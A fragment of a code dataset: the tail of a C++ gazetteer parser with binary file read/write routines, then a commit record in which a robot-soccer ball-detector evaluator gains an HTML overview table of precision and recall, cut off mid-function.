\".txt\", \"rb\");\n\tif (!fp)\n\t{\n\t\tprintf(\"couldn't open.\\n\");\n\t\treturn;\n\t}\n\twhile (fgets(buf, 4000, fp) != NULL)\n\t{\n\t\tline_number++;\n\t\ti = 0;\n\t\tw = word;\n\t\tfor (p = buf; *p != '\\n'; p++)\n\t\t{\n\t\t\tif (*p == '\\t')\n\t\t\t{\n\t\t\t\t*w = '\\0';\n\t\t\t\t\/\/ handle word\n\t\t\t\tif (i == 3)\n\t\t\t\t\tpoint.y = atof(word); \/\/ lat\n\t\t\t\tif (i == 4)\n\t\t\t\t\tpoint.x = atof(word); \/\/ lon\n\t\t\t\tif (i == 9)\n\t\t\t\t\tfc = word[0];\n\t\t\t\tif (i == 11)\n\t\t\t\t{\n\t\t\t\t\tpc = word[0] ? word[0] - '0' : 6;\t\/\/ \"importance\" 1-5, 1 most\n\t\t\t\t}\n\t\t\t\tif (i == 23)\n\t\t\t\t{\n\t\t\t\t\tif (fc == 'P')\t\/\/ populated place\n\t\t\t\t\t{\n\t\t\t\t\t\t\/\/ count hhow many of each importance\n\t\t\t\t\t\tif (pc >= 1 && pc <= 6) num_important[pc] ++;\n\n\t\t\t\t\t\tbool bReplace = false;\n\t\t\t\t\t\tif (pc < 5)\t\/\/ might be more important than existing\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tint size = country->m_places.GetSize();\n\t\t\t\t\t\t\tfor (j = 0; j < size; j++)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tplace = country->m_places.GetAt(j);\n\t\t\t\t\t\t\t\tif (!place->m_fullname_nd.Compare(word))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tduplicates++;\n\t\t\t\t\t\t\t\t\t\/\/ if name already exists, replace the existing\n\t\t\t\t\t\t\t\t\t\/\/ place if this one is more important\n\t\t\t\t\t\t\t\t\tif (pc < importance[j])\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tbReplace = true;\n\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tplace = new Place();\n\t\t\t\t\t\tplace->m_pos = point;\n\t\t\t\t\t\tplace->m_fullname_nd = word;\n\t\t\t\t\t\tif (bReplace)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcountry->m_places[j] = place;\n\t\t\t\t\t\t\timportance[j] = pc;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcountry->m_places.Append(place);\n\t\t\t\t\t\t\timportance.Append(pc);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\/\/printf(\"i=%d word=%s\\n\", i, word);\n\t\t\t\ti++;\n\t\t\t\tw = word;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t*w = *p;\n\t\t\t\tw++;\n\t\t\t}\n\t\t}\n\t}\n\tfclose(fp);\n\tint size = country->m_places.GetSize();\n\tprintf(\"%d places. Imps: %d %d %d %d %d %d. Dupes: %d\\n\",\n\t\tsize, num_important[1], num_important[2], num_important[3],\n\t\tnum_important[4], num_important[5], num_important[6], duplicates);\n}\n\nvoid WriteString(FILE *fp, const vtString &str)\n{\n\tshort len = str.GetLength();\n\tfwrite(&len, 2, 1, fp);\n\tconst char *buf = (const char *)str;\n\tfwrite(buf, len, 1, fp);\n}\n\nvoid ReadString(FILE *fp, vtString &str)\n{\n\tchar buf[100];\n\tshort len;\n\tfread(&len, 2, 1, fp);\n\tfread(buf, len, 1, fp);\n\tbuf[len] = '\\0';\n\tstr = buf;\n}\n\nvoid Countries::WriteGCF(const char *fname)\n{\n\tFILE *fp = fopen(fname, \"wb\");\n\n\tint num = m_countries.GetSize();\n\tfwrite(&num, sizeof(int), 1, fp);\n\n\tint i, j, num_places;\n\tfor (i = 0; i < num; i++)\n\t{\n\t\tCountry *country = m_countries[i];\n\t\tnum_places = country->m_places.GetSize();\n\n\t\tWriteString(fp, country->m_full);\n\t\tfwrite(&num_places, sizeof(int), 1, fp);\n\n\t\tfor (j = 0; j < num_places; j++)\n\t\t{\n\t\t\tPlace *place = country->m_places[j];\n\t\t\tfwrite(&place->m_pos.x, sizeof(double), 2, fp);\n\t\t\tWriteString(fp, place->m_fullname_nd);\n\t\t}\n\t}\n\tfclose(fp);\n}\n\nvoid Countries::ReadGCF(const char *fname, void progress_callback(int))\n{\n\tFILE *fp = fopen(fname, \"rb\");\n\tif (!fp)\n\t\treturn;\n\n\tint num;\n\tfread(&num, sizeof(int), 1, fp);\n\n\tm_countries.SetMaxSize(num);\n\n\tint i, j, num_places;\n\tfor (i = 0; i < num; i++)\n\t{\n\t\tif (progress_callback != NULL)\n\t\t\tprogress_callback(i * 100 \/ num);\n\n\t\tCountry *country = new Country();\n\t\tm_countries.Append(country);\n\n\t\tReadString(fp, country->m_full);\n\t\tprintf(\"Reading %s...\\n\", (const char *) country->m_full);\n\n\t\tfread(&num_places, sizeof(int), 1, fp);\n\t\tcountry->m_places.SetMaxSize(num_places);\n\n\t\tfor (j = 0; j < num_places; j++)\n\t\t{\n\t\t\tPlace *place = new Place();\n\t\t\tfread(&place->m_pos.x, sizeof(double), 2, fp);\n\t\t\tReadString(fp, place->m_fullname_nd);\n\t\t\tcountry->m_places.Append(place);\n\t\t}\n\t}\n\tfclose(fp);\n}\n\nbool Countries::FindPlace(const char *country_val, const char *place_val,\n\t\t\t\t\t\t  DPoint2 &point)\n{\n\tCountry *country;\n\n\tint num = m_countries.GetSize();\n\n\tint i;\n\tfor (i = 0; i < num; i++)\n\t{\n\t\tcountry = m_countries[i];\n\n\t\tif (country->m_full.CompareNoCase(country_val) != 0)\n\t\t\tcontinue;\n\n\t\tbool success = country->FindPlace(place_val, point, true);\n\n\t\t\/\/ try again with just the length of the initial sea\n\t\tif (!success)\n\t\t\tsuccess = country->FindPlace(place_val, point, false);\n\n\t\tif (success)\n\t\t\treturn true;\n\t}\n\treturn false;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"BallDetectorEvaluator.h\"\n\n#include <glib.h>\n#include <glib\/gstdio.h>\n\n#include <strstream>\n#include <fstream>\n#include <sstream>\n\n#include <Representations\/Perception\/BallCandidates.h>\n\n#include <Extern\/libb64\/encode.h>\n\n#include <Tools\/naoth_opencv.h>\n\n#if defined(__GNUC__) && defined(_NAOTH_CHECK_CONVERSION_)\n#if (__GNUC__ > 3 && __GNUC_MINOR__ > 5) || (__GNUC__ > 4) \/\/ version >= 4.6\n#pragma GCC diagnostic push\n#endif\n#pragma GCC diagnostic ignored \"-Wconversion\"\n#if (__GNUC__ > 3 && __GNUC_MINOR__ > 8) || (__GNUC__ > 4) \/\/ version >= 4.9\n#pragma GCC diagnostic ignored \"-Wfloat-conversion\"\n#endif\n#endif\n\n#include <opencv2\/imgcodecs\/imgcodecs.hpp>\n\n#if defined(__GNUC__) && defined(_NAOTH_CHECK_CONVERSION_)\n#if (__GNUC__ > 3 && __GNUC_MINOR__ > 5) || (__GNUC__ > 4)  \/\/ version >= 4.6\n#pragma GCC diagnostic push\n#endif\n#pragma GCC diagnostic error \"-Wconversion\"\n#if (__GNUC__ > 3 && __GNUC_MINOR__ > 8) || (__GNUC__ > 4) \/\/ version >= 4.9\n#pragma GCC diagnostic error \"-Wfloat-conversion\"\n#endif\n#endif\n\nBallDetectorEvaluator::BallDetectorEvaluator(const std::string &fileArg)\n  : fileArg(fileArg), minNeighbours(0)\n{\n\n}\n\nBallDetectorEvaluator::~BallDetectorEvaluator()\n{\n\n}\n\n\nvoid BallDetectorEvaluator::execute()\n{\n  results.clear();\n  std::string outFileName = \"HaarBallDetector_Evaluation.html\";\n\n\n  \/\/ do experiment for different parameters\n  for(minNeighbours=0; minNeighbours < 6; minNeighbours++)\n  {\n\n    ExperimentResult r;\n\n    r.truePositives = 0;\n    r.falseNegatives = 0;\n    r.falsePositives = 0;\n    r.falsePositivePatches.clear();\n    r.falseNegativePatches.clear();\n    r.totalSize = 0;\n\n\n    if(g_file_test(fileArg.c_str(), G_FILE_TEST_IS_DIR))\n    {\n      std::string dirlocation = fileArg;\n      if (!g_str_has_suffix(dirlocation.c_str(), \"\/\"))\n      {\n        dirlocation = dirlocation + \"\/\";\n      }\n\n      GDir* dir = g_dir_open(dirlocation.c_str(), 0, NULL);\n      if (dir != NULL)\n      {\n        const gchar* name;\n        while ((name = g_dir_read_name(dir)) != NULL)\n        {\n          if (g_str_has_suffix(name, \".log\"))\n          {\n            std::string completeFileName = dirlocation + name;\n            if (g_file_test(completeFileName.c_str(), G_FILE_TEST_EXISTS)\n                && g_file_test(completeFileName.c_str(), G_FILE_TEST_IS_REGULAR))\n            {\n              r.totalSize += executeSingleFile(completeFileName, r);\n            }\n          }\n\n\n        }\n        g_dir_close(dir);\n      }\n    }\n    else\n    {\n      \/\/ only one file\n      r.totalSize = executeSingleFile(fileArg, r);\n    }\n\n    r.precision = 1.0;\n    if(r.truePositives + r.falsePositives > 0)\n    {\n      r.precision = (double) r.truePositives \/ ((double) (r.truePositives + r.falsePositives));\n    }\n    r.recall = 1.0;\n    if(r.truePositives + r.falsePositives > 0)\n    {\n      r.recall = (double) r.truePositives \/ ((double) (r.truePositives + r.falseNegatives));\n    }\n\n    results[minNeighbours] = r;\n\n\n\n    std::cout << \"=============\" << std::endl;\n    std::cout << \"minNeighbours=\" << minNeighbours << std::endl;\n\n    std::cout << \"precision: \" << r.precision << std::endl;\n    std::cout << \"recall: \" << r.recall << std::endl;\n\n    std::cout << \"=============\" << std::endl;\n    std::cout << \"Written detailed report to \" << outFileName << std::endl;\n\n  }\n\n  outputResults(outFileName);\n\n}\n\nvoid BallDetectorEvaluator::outputResults(std::string outFileName)\n{\n  base64::Encoder base64Encoder(64);\n\n  std::ofstream html;\n  html.open(outFileName);\n\n  html << \"<html>\" << std::endl;\n  html << \"<head>\" << std::endl;\n  html << \"<style>\" << std::endl;\n  \/\/ CSS\n  html << \"img.patch {width: 36px; height: 36px}\" << std::endl;\n  html << \"<\/style>\" << std::endl;\n  html << \"<\/head>\" << std::endl;\n\n  html << \"<body>\" << std::endl;\n\n  html << \"<h1><a id=\\\"overview\\\">Overview<\/a><\/h1>\" << std::endl;\n\n  for(std::map<unsigned int, ExperimentResult>::const_iterator it=results.begin();\n      it != results.end(); it++)\n  {\n    const ExperimentResult& r = it->second;\n\n\n    html << \"<h1>minNeighbours=\" << it->first << \"<\/h1>\" << std::endl;\n\n    html << \"<h2>Summary<\/h2>\" << std::endl;\n    html << \"<p><strong>precision: \" << r.precision << \"<br \/>recall: \" << r.recall << \"<\/strong><\/p>\" << std::endl;\n\n\n    unsigned int numOfBalls = r.truePositives + r.falseNegatives;\n    html << \"<p>total number of samples: \" << r.totalSize << \" (\" << numOfBalls << \" balls, \" << (r.totalSize - numOfBalls) << \" non-balls)<\/p>\" << std::endl;\n\n    html << \"<p><a href=\\\"#overview\\\">back to top<\/a><\/p>\" << std::endl;\n\n    html << \"<h2>False Positives<\/h2>\" << std::endl;\n\n    html << \"<p>number: \" << r.falsePositives << \"<\/p>\" << std::endl;\n\n    html << \"<div>\" << std::endl;\n    for(std::list<ErrorEntry>::const_iterator it=r.falsePositivePatches.begin(); it != r.falsePositivePatches.end(); it++)\n    {\n      \/\/ use a data URI to embed the image in PNG format\n      std::string imgPNG = createPNG(it->patch);\n      html << \"<img class=\\\"patch\\\" title=\\\"\" << it->idx << \"@\" << it->fileName\n           << \"\\\" src=\\\"data:image\/png;base64,\" << base64Encoder.encode(imgPNG.c_str(), (int) imgPNG.size())  << \"\\\" \/>\" << std::endl;\n    }\n    html << \"<\/div>\" << std::endl;\n\n    html << \"<h1>False Negatives<\/h1>\" << std::endl;\n\n    html << \"<p>number: \" << r.falseNegatives << \"<\/p>\" << std::endl;\n\n    html << \"<div>\" << std::endl;\n    for(std::list<ErrorEntry>::const_iterator it=r.falseNegativePatches.begin(); it != r.falseNegativePatches.end(); it++)\n    {\n      \/\/ use a data URI to embed the image in PNG format\n      std::string imgPNG = createPNG(it->patch);\n      html << \"<img class=\\\"patch\\\" title=\\\"\" << it->idx << \"@\" << it->fileName\n           << \"\\\" src=\\\"data:image\/png;base64,\" << base64Encoder.encode(imgPNG.c_str(), (int) imgPNG.size())  << \"\\\" \/>\" << std::endl;\n    }\n    html << \"<\/div>\" << std::endl;\n  }\n\n  html << \"<\/body>\" << std::endl;\n  html.close();\n}\n\nunsigned int BallDetectorEvaluator::executeSingleFile(std::string file, ExperimentResult& r)\n{\n  LogFileScanner logFileScanner(file);\n\n  std::set<unsigned int> expectedBallIdx;\n  unsigned int maxValidIdx = loadGroundTruth(file, expectedBallIdx);\n\n  unsigned int patchIdx = 0;\n\n  \/\/ read in each frame\n  LogFileScanner::FrameIterator secondLastFrame = logFileScanner.end();\n  secondLastFrame--;\n  for(LogFileScanner::FrameIterator it = logFileScanner.begin(); it != secondLastFrame; it++)\n  {\n    \/\/ reset all existing candidates\n    getBallCandidates().reset();\n    getBallCandidatesTop().reset();\n\n    LogFileScanner::Frame frame;\n    logFileScanner.readFrame(*it, frame);\n\n    \/\/ deserialize all ball candidates (bottom and top camera)\n    LogFileScanner::Frame::const_iterator frameBallCandidate = frame.find(\"BallCandidates\");\n    LogFileScanner::Frame::const_iterator frameBallCandidateTop = frame.find(\"BallCandidatesTop\");\n    if(frameBallCandidate!= frame.end())\n    {\n      std::istrstream stream(frameBallCandidate->second.data.data(), frameBallCandidate->second.data.size());\n      naoth::Serializer<BallCandidates>::deserialize(stream, getBallCandidates());\n    }\n    if(frameBallCandidateTop != frame.end())\n    {\n      std::istrstream stream(frameBallCandidateTop->second.data.data(), frameBallCandidateTop->second.data.size());\n      naoth::Serializer<BallCandidatesTop>::deserialize(stream, getBallCandidatesTop());\n    }\n\n    \/\/ The python script will always read the bottom patches first, thus in order to have the correct index\n    \/\/ the loops have to bee in the same order.\n\n    for(const BallCandidates::Patch& p : getBallCandidates().patches)\n    {\n      evaluatePatch(p, patchIdx++, CameraInfo::Bottom, expectedBallIdx, file, r);\n    }\n\n    for(const BallCandidates::Patch& p : getBallCandidatesTop().patches)\n    {\n      evaluatePatch(p, patchIdx++, CameraInfo::Bottom, expectedBallIdx, file, r);\n    }\n\n    if(patchIdx >= maxValidIdx)\n    {\n      break;\n    }\n  }\n\n  return patchIdx;\n}\n\nvoid BallDetectorEvaluator::evaluatePatch(const BallCandidates::Patch &p, unsigned int patchIdx,\n                                          CameraInfo::CameraID camID,\n                                          const std::set<unsigned int>& expectedBallIdx,\n                                          std::string fileName,\n                                          ExperimentResult& r)\n{\n  bool expected = expectedBallIdx.find(patchIdx) != expectedBallIdx.end();\n  bool actual = classifier.classify(p, minNeighbours) > 0;\n\n  if(expected == actual)\n  {\n    if(expected)\n    {\n      r.truePositives++;\n    }\n  }\n  else\n  {\n    ErrorEntry error;\n    error.patch= p;\n    error.idx = patchIdx;\n    error.fileName = fileName;\n    if(actual)\n    {\n      r.falsePositivePatches.push_back(error);\n      r.falsePositives++;\n    }\n    else\n    {\n      r.falseNegativePatches.push_back(error);\n      r.falseNegatives++;\n    }\n  }\n}\n\nint BallDetectorEvaluator::loadGroundTruth(std::string file, std::set<unsigned int>& expectedBallIdx)\n{\n  typedef std::vector<picojson::value> array;\n  typedef std::map<std::string, picojson::value> object;\n\n  int maxValidIdx = 0;\n\n\n  size_t dotPos = file.find_last_of('.');\n\n  std::string jsonFile = dotPos == std::string::npos ? file : file.substr(0, dotPos) + \".json\";\n  std::cout << \"loading ground truth from '\" << jsonFile << \"'\" << std::endl;\n  std::ifstream groundTruthStream(jsonFile);\n\n  picojson::value parsedJson;\n  picojson::parse(parsedJson, groundTruthStream);\n\n  groundTruthStream.close();\n\n  array ballIdx;\n  array noBallIdx;\n  if(parsedJson.is<object>())\n  {\n    if(parsedJson.get(\"ball\").is<array>())\n    {\n      ballIdx = parsedJson.get(\"ball\").get<array>();\n    }\n\n    if(parsedJson.get(\"noball\").is<array>())\n    {\n      noBallIdx = parsedJson.get(\"noball\").get<array>();\n    }\n\n    for(picojson::value idx : ballIdx)\n    {\n      if(idx.is<double>())\n      {\n        int idxVal = static_cast<int>(idx.get<double>());\n        expectedBallIdx.insert(idxVal);\n        maxValidIdx = std::max(maxValidIdx, idxVal);\n      }\n    }\n\n    for(picojson::value idx : noBallIdx)\n    {\n      if(idx.is<double>())\n      {\n        int idxVal = static_cast<int>(idx.get<double>());\n        maxValidIdx = std::max(maxValidIdx, idxVal);\n      }\n    }\n  }\n\n\n  return maxValidIdx;\n}\n\nstd::string BallDetectorEvaluator::createPGM(const BallCandidates::Patch &p)\n{\n  std::stringstream str;\n\n  \/\/ header (we are gray scale, thus P2)\n  str << \"P2\\n\";\n  \/\/ the width and the height of the image\n  str << BallCandidates::Patch::SIZE << \"\\n\" << BallCandidates::Patch::SIZE << \"\\n\";\n  \/\/ the maximum value we use\n  str << \"255\\n\";\n\n  \/\/ output each pixel\n  for(unsigned int y=0; y < BallCandidates::Patch::SIZE; y++)\n  {\n    for(unsigned int x=0; x < BallCandidates::Patch::SIZE; x++)\n    {\n      str << (int) p.data[x*BallCandidates::Patch::SIZE + y];\n      if(x < BallCandidates::Patch::SIZE - 1)\n      {\n        str << \" \";\n      }\n    }\n    str << \"\\n\";\n  }\n  return str.str();\n}\n\nstd::string BallDetectorEvaluator::createPNG(const BallCandidates::Patch &p)\n{\n  cv::Mat wrappedImg(12, 12, CV_8UC1, (void*) p.data.data());\n\n  std::vector<uchar> buffer;\n\n  cv::imencode(\".png\", wrappedImg, buffer);\n\n  return std::string(buffer.begin(), buffer.end());\n}\n<commit_msg>Output overview table.<commit_after>#include \"BallDetectorEvaluator.h\"\n\n#include <glib.h>\n#include <glib\/gstdio.h>\n\n#include <strstream>\n#include <fstream>\n#include <sstream>\n\n#include <Representations\/Perception\/BallCandidates.h>\n\n#include <Extern\/libb64\/encode.h>\n\n#include <Tools\/naoth_opencv.h>\n\n#if defined(__GNUC__) && defined(_NAOTH_CHECK_CONVERSION_)\n#if (__GNUC__ > 3 && __GNUC_MINOR__ > 5) || (__GNUC__ > 4) \/\/ version >= 4.6\n#pragma GCC diagnostic push\n#endif\n#pragma GCC diagnostic ignored \"-Wconversion\"\n#if (__GNUC__ > 3 && __GNUC_MINOR__ > 8) || (__GNUC__ > 4) \/\/ version >= 4.9\n#pragma GCC diagnostic ignored \"-Wfloat-conversion\"\n#endif\n#endif\n\n#include <opencv2\/imgcodecs\/imgcodecs.hpp>\n\n#if defined(__GNUC__) && defined(_NAOTH_CHECK_CONVERSION_)\n#if (__GNUC__ > 3 && __GNUC_MINOR__ > 5) || (__GNUC__ > 4)  \/\/ version >= 4.6\n#pragma GCC diagnostic push\n#endif\n#pragma GCC diagnostic error \"-Wconversion\"\n#if (__GNUC__ > 3 && __GNUC_MINOR__ > 8) || (__GNUC__ > 4) \/\/ version >= 4.9\n#pragma GCC diagnostic error \"-Wfloat-conversion\"\n#endif\n#endif\n\nBallDetectorEvaluator::BallDetectorEvaluator(const std::string &fileArg)\n  : fileArg(fileArg), minNeighbours(0)\n{\n\n}\n\nBallDetectorEvaluator::~BallDetectorEvaluator()\n{\n\n}\n\n\nvoid BallDetectorEvaluator::execute()\n{\n  results.clear();\n  std::string outFileName = \"HaarBallDetector_Evaluation.html\";\n\n\n  \/\/ do experiment for different parameters\n  for(minNeighbours=0; minNeighbours < 6; minNeighbours++)\n  {\n\n    ExperimentResult r;\n\n    r.truePositives = 0;\n    r.falseNegatives = 0;\n    r.falsePositives = 0;\n    r.falsePositivePatches.clear();\n    r.falseNegativePatches.clear();\n    r.totalSize = 0;\n\n\n    if(g_file_test(fileArg.c_str(), G_FILE_TEST_IS_DIR))\n    {\n      std::string dirlocation = fileArg;\n      if (!g_str_has_suffix(dirlocation.c_str(), \"\/\"))\n      {\n        dirlocation = dirlocation + \"\/\";\n      }\n\n      GDir* dir = g_dir_open(dirlocation.c_str(), 0, NULL);\n      if (dir != NULL)\n      {\n        const gchar* name;\n        while ((name = g_dir_read_name(dir)) != NULL)\n        {\n          if (g_str_has_suffix(name, \".log\"))\n          {\n            std::string completeFileName = dirlocation + name;\n            if (g_file_test(completeFileName.c_str(), G_FILE_TEST_EXISTS)\n                && g_file_test(completeFileName.c_str(), G_FILE_TEST_IS_REGULAR))\n            {\n              r.totalSize += executeSingleFile(completeFileName, r);\n            }\n          }\n\n\n        }\n        g_dir_close(dir);\n      }\n    }\n    else\n    {\n      \/\/ only one file\n      r.totalSize = executeSingleFile(fileArg, r);\n    }\n\n    r.precision = 1.0;\n    if(r.truePositives + r.falsePositives > 0)\n    {\n      r.precision = (double) r.truePositives \/ ((double) (r.truePositives + r.falsePositives));\n    }\n    r.recall = 1.0;\n    if(r.truePositives + r.falsePositives > 0)\n    {\n      r.recall = (double) r.truePositives \/ ((double) (r.truePositives + r.falseNegatives));\n    }\n\n    results[minNeighbours] = r;\n\n\n\n    std::cout << \"=============\" << std::endl;\n    std::cout << \"minNeighbours=\" << minNeighbours << std::endl;\n\n    std::cout << \"precision: \" << r.precision << std::endl;\n    std::cout << \"recall: \" << r.recall << std::endl;\n\n    std::cout << \"=============\" << std::endl;\n    std::cout << \"Written detailed report to \" << outFileName << std::endl;\n\n  }\n\n  outputResults(outFileName);\n\n}\n\nvoid BallDetectorEvaluator::outputResults(std::string outFileName)\n{\n  base64::Encoder base64Encoder(64);\n\n  std::ofstream html;\n  html.open(outFileName);\n\n  html << \"<html>\" << std::endl;\n  html << \"<head>\" << std::endl;\n  html << \"<style>\" << std::endl;\n  \/\/ CSS\n  html << \"img.patch {width: 36px; height: 36px;}\" << std::endl;\n  html << \"table, th, td {border: 1px solid; border-collapse: collapse; }\" << std::endl;\n  html << \"<\/style>\" << std::endl;\n  html << \"<\/head>\" << std::endl;\n\n  html << \"<body>\" << std::endl;\n\n  html << \"<h1><a id=\\\"overview\\\">Overview<\/a><\/h1>\" << std::endl;\n\n  html << \"<table>\" << std::endl;\n  html << \"<tr>\" << std::endl;\n  html << \"<th>\" << \"minNeighbours\" << \"<\/th>\" << std::endl;\n  html << \"<th>\" << \"precision\" << \"<\/th>\" << std::endl;\n  html << \"<th>\" << \"recall\" << \"<\/th>\" << std::endl;\n  html << \"<\/tr>\" << std::endl;\n  for(std::map<unsigned int, ExperimentResult>::const_iterator it=results.begin();\n      it != results.end(); it++)\n  {\n    const ExperimentResult& r = it->second;\n    html << \"<tr>\" << std::endl;\n    html << \"<td>\" << it->first << \"<\/td>\" << std::endl;\n    html << \"<td>\" << r.precision << \"<\/td>\" << std::endl;\n    html << \"<td>\" << r.recall << \"<\/td>\" << std::endl;\n    html << \"<\/tr>\" << std::endl;\n  }\n  html << \"<\/table>\" << std::endl;\n\n\n  for(std::map<unsigned int, ExperimentResult>::const_iterator it=results.begin();\n      it != results.end(); it++)\n  {\n    const ExperimentResult& r = it->second;\n\n\n    html << \"<h1>minNeighbours=\" << it->first << \"<\/h1>\" << std::endl;\n\n    html << \"<h2>Summary<\/h2>\" << std::endl;\n    html << \"<p><strong>precision: \" << r.precision << \"<br \/>recall: \" << r.recall << \"<\/strong><\/p>\" << std::endl;\n\n\n    unsigned int numOfBalls = r.truePositives + r.falseNegatives;\n    html << \"<p>total number of samples: \" << r.totalSize << \" (\" << numOfBalls << \" balls, \" << (r.totalSize - numOfBalls) << \" non-balls)<\/p>\" << std::endl;\n\n    html << \"<p><a href=\\\"#overview\\\">back to top<\/a><\/p>\" << std::endl;\n\n    html << \"<h2>False Positives<\/h2>\" << std::endl;\n\n    html << \"<p>number: \" << r.falsePositives << \"<\/p>\" << std::endl;\n\n    html << \"<div>\" << std::endl;\n    for(std::list<ErrorEntry>::const_iterator it=r.falsePositivePatches.begin(); it != r.falsePositivePatches.end(); it++)\n    {\n      \/\/ use a data URI to embed the image in PNG format\n      std::string imgPNG = createPNG(it->patch);\n      html << \"<img class=\\\"patch\\\" title=\\\"\" << it->idx << \"@\" << it->fileName\n           << \"\\\" src=\\\"data:image\/png;base64,\" << base64Encoder.encode(imgPNG.c_str(), (int) imgPNG.size())  << \"\\\" \/>\" << std::endl;\n    }\n    html << \"<\/div>\" << std::endl;\n\n    html << \"<h1>False Negatives<\/h1>\" << std::endl;\n\n    html << \"<p>number: \" << r.falseNegatives << \"<\/p>\" << std::endl;\n\n    html << \"<div>\" << std::endl;\n    for(std::list<ErrorEntry>::const_iterator it=r.falseNegativePatches.begin(); it != r.falseNegativePatches.end(); it++)\n    {\n      \/\/ use a data URI to embed the image in PNG format\n      std::string imgPNG = createPNG(it->patch);\n      html << \"<img class=\\\"patch\\\" title=\\\"\" << it->idx << \"@\" << it->fileName\n           << \"\\\" src=\\\"data:image\/png;base64,\" << base64Encoder.encode(imgPNG.c_str(), (int) imgPNG.size())  << \"\\\" \/>\" << std::endl;\n    }\n    html << \"<\/div>\" << std::endl;\n  }\n\n  html << \"<\/body>\" << std::endl;\n  html.close();\n}\n\nunsigned int BallDetectorEvaluator::executeSingleFile(std::string file, ExperimentResult& r)\n{\n  LogFileScanner logFileScanner(file);\n\n  std::set<unsigned int> expectedBallIdx;\n  unsigned int maxValidIdx = loadGroundTruth(file, expectedBallIdx);\n\n  unsigned int patchIdx = 0;\n\n  \/\/ read in each frame\n  LogFileScanner::FrameIterator secondLastFrame = logFileScanner.end();\n  secondLastFrame--;\n  for(LogFileScanner::FrameIterator it = logFileScanner.begin(); it != secondLastFrame; it++)\n  {\n    \/\/ reset all existing candidates\n    getBallCandidates().reset();\n    getBallCandidatesTop().reset();\n\n    LogFileScanner::Frame frame;\n    logFileScanner.readFrame(*it, frame);\n\n    \/\/ deserialize all ball candidates (bottom and top camera)\n    LogFileScanner::Frame::const_iterator frameBallCandidate = frame.find(\"BallCandidates\");\n    LogFileScanner::Frame::const_iterator frameBallCandidateTop = frame.find(\"BallCandidatesTop\");\n    if(frameBallCandidate!= frame.end())\n    {\n      std::istrstream stream(frameBallCandidate->second.data.data(), frameBallCandidate->second.data.size());\n      naoth::Serializer<BallCandidates>::deserialize(stream, getBallCandidates());\n    }\n    if(frameBallCandidateTop != frame.end())\n    {\n      std::istrstream stream(frameBallCandidateTop->second.data.data(), frameBallCandidateTop->second.data.size());\n      naoth::Serializer<BallCandidatesTop>::deserialize(stream, getBallCandidatesTop());\n    }\n\n    \/\/ The python script will always read the bottom patches first, thus in order to have the correct index\n    \/\/ the loops have to bee in the same order.\n\n    for(const BallCandidates::Patch& p : getBallCandidates().patches)\n    {\n      evaluatePatch(p, patchIdx++, CameraInfo::Bottom, expectedBallIdx, file, r);\n    }\n\n    for(const BallCandidates::Patch& p : getBallCandidatesTop().patches)\n    {\n      evaluatePatch(p, patchIdx++, CameraInfo::Bottom, expectedBallIdx, file, r);\n    }\n\n    if(patchIdx >= maxValidIdx)\n    {\n      break;\n    }\n  }\n\n  return patchIdx;\n}\n\nvoid BallDetectorEvaluator::evaluatePatch(const BallCandidates::Patch &p, unsigned int patchIdx,\n                                          CameraInfo::CameraID camID,\n                                          const std::set<unsigned int>& expectedBallIdx,\n                                          std::string fileName,\n                                          ExperimentResult& r)\n{\n  bool expected = expectedBallIdx.find(patchIdx) != expectedBallIdx.end();\n  bool actual = classifier.classify(p, minNeighbours) > 0;\n\n  if(expected == actual)\n  {\n    if(expected)\n    {\n      r.truePositives++;\n    }\n  }\n  else\n  {\n    ErrorEntry error;\n    error.patch= p;\n    error.idx = patchIdx;\n    error.fileName = fileName;\n    if(actual)\n    {\n      r.falsePositivePatches.push_back(error);\n      r.falsePositives++;\n    }\n    else\n    {\n      r.falseNegativePatches.push_back(error);\n      r.falseNegatives++;\n    }\n  }\n}\n\nint BallDetectorEvaluator::loadGroundTruth(std::string file, std::set<unsigned int>& expectedBallIdx)\n{\n  typedef std::vector<picojson::value> array;\n  typedef std::map<std::string, picojson::value> object;\n\n  int maxValidIdx = 0;\n\n\n  size_t dotPos = file.find_last_of('.');\n\n  std::string jsonFile = dotPos == std::string::npos ? file : file.substr(0, dotPos) + \".json\";\n  std::cout << \"loading ground truth from '\" << jsonFile << \"'\" << std::endl;\n  std::ifstream groundTruthStream(jsonFile);\n\n  picojson::value parsedJson;\n  picojson::parse(parsedJson, groundTruthStream);\n\n  groundTruthStream.close();\n\n  array ballIdx;\n  array noBallIdx;\n  if(parsedJson.is<object>())\n  {\n    if(parsedJson.get(\"ball\").is<array>())\n    {\n      ballIdx = parsedJson.get(\"ball\").get<array>();\n    }\n\n    if(parsedJson.get(\"noball\").is<array>())\n    {\n      noBallIdx = parsedJson.get(\"noball\").get<array>();\n    }\n\n    for(picojson::value idx : ballIdx)\n    {\n      if(idx.is<double>())\n      {\n        int idxVal = static_cast<int>(idx.get<double>());\n        expectedBallIdx.insert(idxVal);\n        maxValidIdx = std::max(maxValidIdx, idxVal);\n      }\n    }\n\n    for(picojson::value idx : noBallIdx)\n    {\n      if(idx.is<double>())\n      {\n        int idxVal = static_cast<int>(idx.get<double>());\n        maxValidIdx = std::max(maxValidIdx, idxVal);\n      }\n    }\n  }\n\n\n  return maxValidIdx;\n}\n\nstd::string BallDetectorEvaluator::createPGM(const BallCandidates::Patch &p)\n{\n  std::stringstream str;\n\n  \/\/ header (we are gray scale, thus P2)\n  str << \"P2\\n\";\n  \/\/ the width and the height of the image\n  str << BallCandidates::Patch::SIZE << \"\\n\" << BallCandidates::Patch::SIZE << \"\\n\";\n  \/\/ the maximum value we use\n  str << \"255\\n\";\n\n  \/\/ output each pixel\n  for(unsigned int y=0; y < BallCandidates::Patch::SIZE; y++)\n  {\n    